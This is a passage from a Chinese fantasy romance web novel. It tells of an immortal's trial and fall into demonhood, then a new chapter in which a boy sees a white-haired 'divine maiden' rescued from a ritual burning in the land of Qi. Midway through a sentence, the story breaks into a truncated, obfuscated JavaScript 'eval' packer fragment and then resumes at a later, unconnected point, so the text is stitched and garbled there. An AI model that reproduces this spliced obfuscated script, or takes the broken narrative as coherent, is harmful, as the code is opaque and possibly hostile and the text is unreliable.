对于郑含元的审判,扶光要他死,要他受诛仙之罚,仪光只说了一句“含元毕竟是吾徒”便未再发一言。 但也足够了,他一言,便可保命。 审判大权交给扶光,死不可行,活罪却也有千般折磨。任谁求情也无用,只因郑含元从一开始,就没存半点逆来顺受的心。 扶光逼他受钉破骨不解气,更用神力逼他下跪折腰。 他边受刑,边念着他所杀之仙的名字与罪孽,不光是对明雪的,还有人间作乱的,大多数仙也对这等恶徒不耻,却都被扶光以势压之。 郑含元便大笑,“扶光,你教的好弟子,也配作仙么?他们能做仙的话,我还能做你爹!等我出去后,第一件事就是把你那些恶徒通通杀绝!” 王心若大骇,他见扶光眼中杀心毕露,蓝蝶化成长箭朝他袭来。 顾不上许多,她上前想以身相护。身前跪倒受刑的郑含元原本故作轻松不屑的眼眸刹那盛满慌乱,却又于须臾之间做了一个巨大的决定。 俊秀的眸在那一瞬间染上血的颜色,是血,也是火。 他将她推在身旁时,蓝蝶穿透了他的琵琶骨,巨大的冲击将他重新钉回天罚柱,在朝华殿炸开巨大的血雾。已然残破的躯体,多年的仙术造化一朝化为乌有,天才沦为平庸,魔的种子却恰好爆发,凭借最后苟延残喘的气息,躯体被散成一道黑雾,迅速飞散。 …… 百万年的分别,郑含元给她留下的最后一眼,就是在她面前堕魔时那双鲜红的眸。 “师兄!当初你就不该收这混沌界的妖孽!” “心若,随我走吧。”仪光轻描淡写一句话,意思是不再追究。 座下仙君堕魔,终归是丑事,仪光不欲多言,亲自夷平了一重天郑含元的雕像,也禁止天界再讨论此事。 后来的争辩、受辱、信仰的崩塌,她不想再回忆。 那之后,她答应亲自封印堕魔的郑含元,而仪光也答应,离开天界。 · 回忆旧事后,不知不觉,她与郑含元、任流光来到了一重天临风崖。 斗法时意气风发的弟子难免让人想起许多年轻时的旧事,也能一扫郁气。 尤其是偶而也有术法惊艳的弟子,让人感概后生可畏。 慕容修坐在高台,方要传音,下一组试炼的弟子刚好登临崖台,正互相问好。 “厉川,徐鸣风。” “云渚,陈遗画。” 陈遗画正是面朝她们这边,待望见容貌时,王心若不由呼吸一滞。 那青涩不到弱冠的少年,面若好女,俊秀非常,面颊一点红痣,双眸透着少年意气,唇畔的浅笑相较他的对手显得十分镇定自若。 她与郑含元相视,两人从彼此的眼中看得同样的惊诧。 “……宸儿?” “不止……他身上,有妖王的气息。” 86. 西陆蝉声唱(一) 西陆蝉声唱(一) 除却熟悉的容颜以外,“遗画”之名,也不禁让郑含元回想起遥远的第六世,那一世情劫发生在远离中土的异国,而牵引与她见面的,恰恰是一幅遗失的画。 那个国度名为契国,是一个气候十分炎热的国家。 金光熠熠的太阳把空气烧灼得沸腾,又幸亏这里草木茂盛,巨大芭蕉叶如盖,为行人投下一处阴凉。但这阴凉能遮烈日,却无法驱散闷热,所以契国人衣衫都很单薄干练、形制特别。 他们上身或短袖或抹胸,下着长裙,都喜欢用银饰点缀脖颈或四肢,有人穿着木屐,有人直接赤脚。女子轻纱掩臂,上衣掩不住妙曼腰.肢;有的男子甚至不穿上衣,袒露着的胸膛绘制着诡丽的图案,与银质项圈映衬,展现野性而神秘的美感。 而两百年前游历过中土诸国的少年模样之人,与若玦匆匆一面后,便独身流浪许久,迷茫而执着地跟随命运的脚步,来到这片神奇的土地。 这里的女孩们不像中土那样娇羞内敛,十分大胆热情,一边叽叽喳喳,一边偷偷瞧他。 “小公子,你从何而来,到何处去呀?”一个清脆的声音从背后冒出,容貌甜美的少女执着一蓬莲花,并不怕少年拒人于千里之外的冷脸,笑吟吟看着他道。 少年冰冷道:“不知道。” “啊!那你叫什么名字呀?”少女锲而不舍。 “不知道。”声音依旧漠然。 “每个生灵每个花草都有自己的名字,你真的不知道自己叫什么吗?”少女追问。 “不知道。” 少女一双杏眼瞬间盛满同情,“这就是中土所说的一问三不知呀,没关系!我们契国即将诞生最博学最厉害的神女,她上知天文,下知地理。像你一样忘却前尘的漂泊魂灵,她能为你占卜出迷茫的前尘,指引归途和来路。” 听见“忘却前尘”四字,少年略一顿步,而“神”字让他心底忽然升起一种奇怪的熟悉感。 他疑惑道:“神女?” “神女是契国的守护灵,说不定见了她,你就能得到你想要的,找到你所追寻的。” 少年数百年漂泊,所见凡人中有异能者,不过力大无穷或武功惊人,却都在人力之内。从来那些说自己能推演天机的“半仙”都是纸糊老虎绣花枕头,在他手下过一招都难。 少年不禁嗤笑,“神才不在人世。” 少女用手中莲花指指高悬的骄阳,“至阴之年,至阴之时,神女降临!契国子民都可一睹风采!” 少女说话似唱诗,天马行空,少年无视她,继续向前走去。 他穿过芭蕉林,渡过窄绿浅河,越过矮矮山丘,在看到遍布白墙圆顶房屋的繁华都城时,也闻得一阵缠绵神秘的吟唱与琴乐声。 房屋上并非中土的雕壁画檐,白墙上用朱银蓝金的颜色画着奇怪的纹路。 执莲少女一路追随他而来。 他不理会,那少女却为他介绍,说若是仔细看,便能从繁复纹路中窥见契国四大图腾:火浴凤凰、水生莲花、风中之竹,云里之蝶。契国子民对这四个图腾有天然的崇拜和信仰,无论房屋还是身上,总有相关彩绘。 人群愈发拥挤,少女声音叽喳,少年本想回身就走,却在人海前方遥远的终点看到高悬的刑架。 路虽远,但对少年而言,前方细节清晰在目。 其实那所谓刑架也雕琢华丽,金坠玉饰,只它垂下的绳子,却无情束缚住一个女子的四肢。 女子衣装华丽,银纹紫衫,头与面皆缚轻紫色的纱,窄袖披帛外的白皙双臂张开,分别被捆在两条麻绳上,勒出刺眼的红痕,双脚并拢亦被捆在绳上,悬于半空,任人打量。 “神女?”少年略带讽刺道。 刑架下围着里外三层打着火把的面具巫师,吟唱着听不懂的咒曲。火焰熊熊燃烧,烟一缕缕绕上云霄,与逐渐行至正午的骄阳相呼应。而烟雾与太阳的中点,束缚着那紫衣女子。 正午之时亦至阴。 他身边的少女本欲开口,人群前却齐齐传来“至阴将至,请迎神旨!神意驾临,百厄皆止”的满含热烈期盼的呼喊。 “神女沐火而生,所化灵体,将为契国带走一切苦厄,留下百年福泽。”那边呼喊落下,少女的声音才传来。 未等少年琢磨话中深层含义,便闻得一道嘹亮的犀角声划破天际,太阳最炽于高空时,面具巫师们举起火把,即将向女子悬空脚踝下层层叠叠的干草垛扔去。 那干草垛与女子华丽的衣衫相隔甚近,只需一瞬,这火焰就可如蛇席卷渺小的身躯。 然而,也就是那一瞬前—— 飞啸的利箭忽然穿破长空,精准刺破束缚手脚的麻绳; 架上“神女”倏地从高处坠落,那轻紫色的面纱随之掉落,裙裳飘如紫色之蝶,原本遮掩在轻纱之下的头发散开,漫天如清皎霜雪,倒真似神灵堕世。 健硕的骏马群比火还要猛烈,冲乱了巫师群,踏翻了干草垛; 而隐于面具之下的、背负重弓的战神,骑着最迅猛有力的玄骢,将坠落半空的飞羽一般的女子从腰处揽入他宽阔的怀抱,玄骢亦如一支最锐利的箭,与马群共同冲开巫师。 幸而后面的诸民与巫师有一些距离,大多得以避让,未有伤亡。 背负长弓,天神一般的男子怀抱着轻柔的紫蝶,骑着玄骢由远至近。 诸人只能窥见面具之下那轮廓分明坚毅的下颌和紧抿的唇,和他臂弯中似霜白发缭乱,发髻松散坠着银簪的女子,女子细眉微皱,缱绻着慌乱的余韵,长睫掩着琉璃双眸,眼下的红痣与朱唇在紫衫的映衬下愈显一番属于凡尘世外的妖冶妩媚。 少年与之瞬间擦身而过时,这一刻仿佛被无限拉长。 少年莫名意动,未像众人一般后退,反而伸手,指尖挨上她身上披着的紫纱,因骏马飞驰而过,这轻微的力量也被速度放大,那女子原本披肩的紫纱就这样被他勾在手中,从她身上飞落到他手中。 玄骢上的男子未有感应,而紫衫女子却倏然抬眸,与扯下她紫纱的轻薄少年郎双目相对。 而少年,手中紫纱似乎仍透着肌肤的温度,他微怔着将那远去女子面容描入眸中。 她那细密卷翘的白色长睫下,是一双琥珀清透的双眸,浅褐中荡漾着微微的碎金光芒,眼前玄衣少年倒映其中,转瞬又不见。 白发紫衣,红痣朱唇。 两人目光相织,刹那掠影。只那一瞬,烙印许久。 玄骢紫影翩然而去,闪躲的百姓们也从怔忡中回神,人群一阵慌乱,身边少女却感叹道:“将军终是舍不下他的妻。” “诶!”没等少女反应过来,少年把那紫纱披在自己身上,已骑上最后一匹马追随而去。 · 然而少年最终没能追上那匹玄骢,他身下的骏马十分不愿他的驾驭,便又只身返回,原先那执莲少女却像知道结果一样,在原处等他。 “将军的马向来是只认他为主的。”她摇头道。 少年问询白发紫女之事,少女望着他臂上缠绕的紫纱,意味深长,“那可是最令契国贵族痴迷的紫藤花。” 她不隐瞒,一五一十告诉了他。 原来那女子名为若蝉,是摩衍亲王遗孤,亲王亡故时,她作为最宠爱王妃之女本要与母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最后一次是在野猎时,猿臂蜂腰的战神跨烈马、执长弓,瞄准了一头鹿,箭尖却射入紫色的裙角,绽开靡丽的血花,那颜色比所有垂挂楼阁上的紫藤花都绚烂。 陆起大惊上前,冶艳的女子却只是朝着他柔婉微笑,琥珀的眸澄澈如溪却又似平静深渊。 契国以火为邪祟,若蝉那颗红痣就红如邪恶的火焰,燃烧起战神沉寂的欲念。 那日野猎,战神的唯一战利品是紫蝶。 若蝉诱得陆起沉沦于她的裙下,背弃与玲珑郡主的婚约,这件事也成为契国战无不胜的将军生平唯一的污点。 这品行诡谲、行事放荡的若蝉,和史书中那些心怀天下、贤明仁爱的历代神女截然不同……但也许神女便是这样,不受世俗约束。 将军娶若蝉为妻,伉俪情深,原本可以也可以成为一对令人艳羡的神仙眷侣。 然而大祭司占卜,今年将是百年来的至阴之年,至阴之月,不是大祸,就是大吉,其中取决于神女灵体是否诞世。 赤火缠身,化为灵体,不仅可解除百厄,化国运为大吉,还可以之占卜前尘与未来。神女灵体是国之灵器、民之福祉。 少年冷笑,“灵体是什么?” 少女以手中荷花点额,语气虔诚,“国恩庙中供奉的,是历代神女灵体,我可以带你去参拜。” “与我何干。”少年没有留情地拒绝了她的邀请。 “不去也没关系,可没有我的帮助,你怎么找到她,弄清你的身份呢?” “不重要。”少年懒得搭理,就要离去。 那少女却一点都不着急,看着他的背影悠悠说道:“不去看也行,但是,小公子,我的确骗了你。我想,神女知道你的来历,不是因为她是神女,而是因为——我在她遗失的画里见过你,她既然画过你,必然认识你。如此,你还要走吗?” 不是随意的搭话,她见到了若蝉的画中人,而他看她的眼神和臂上的紫纱,让她笃定他们之间必有不为人知的关系。 少年脚步顿住,回首望她,目光冷冽,“那么你又是谁?” 少女走向前,将那支莲花递给他,道:“忘了自报家门,我是玲珑郡主。”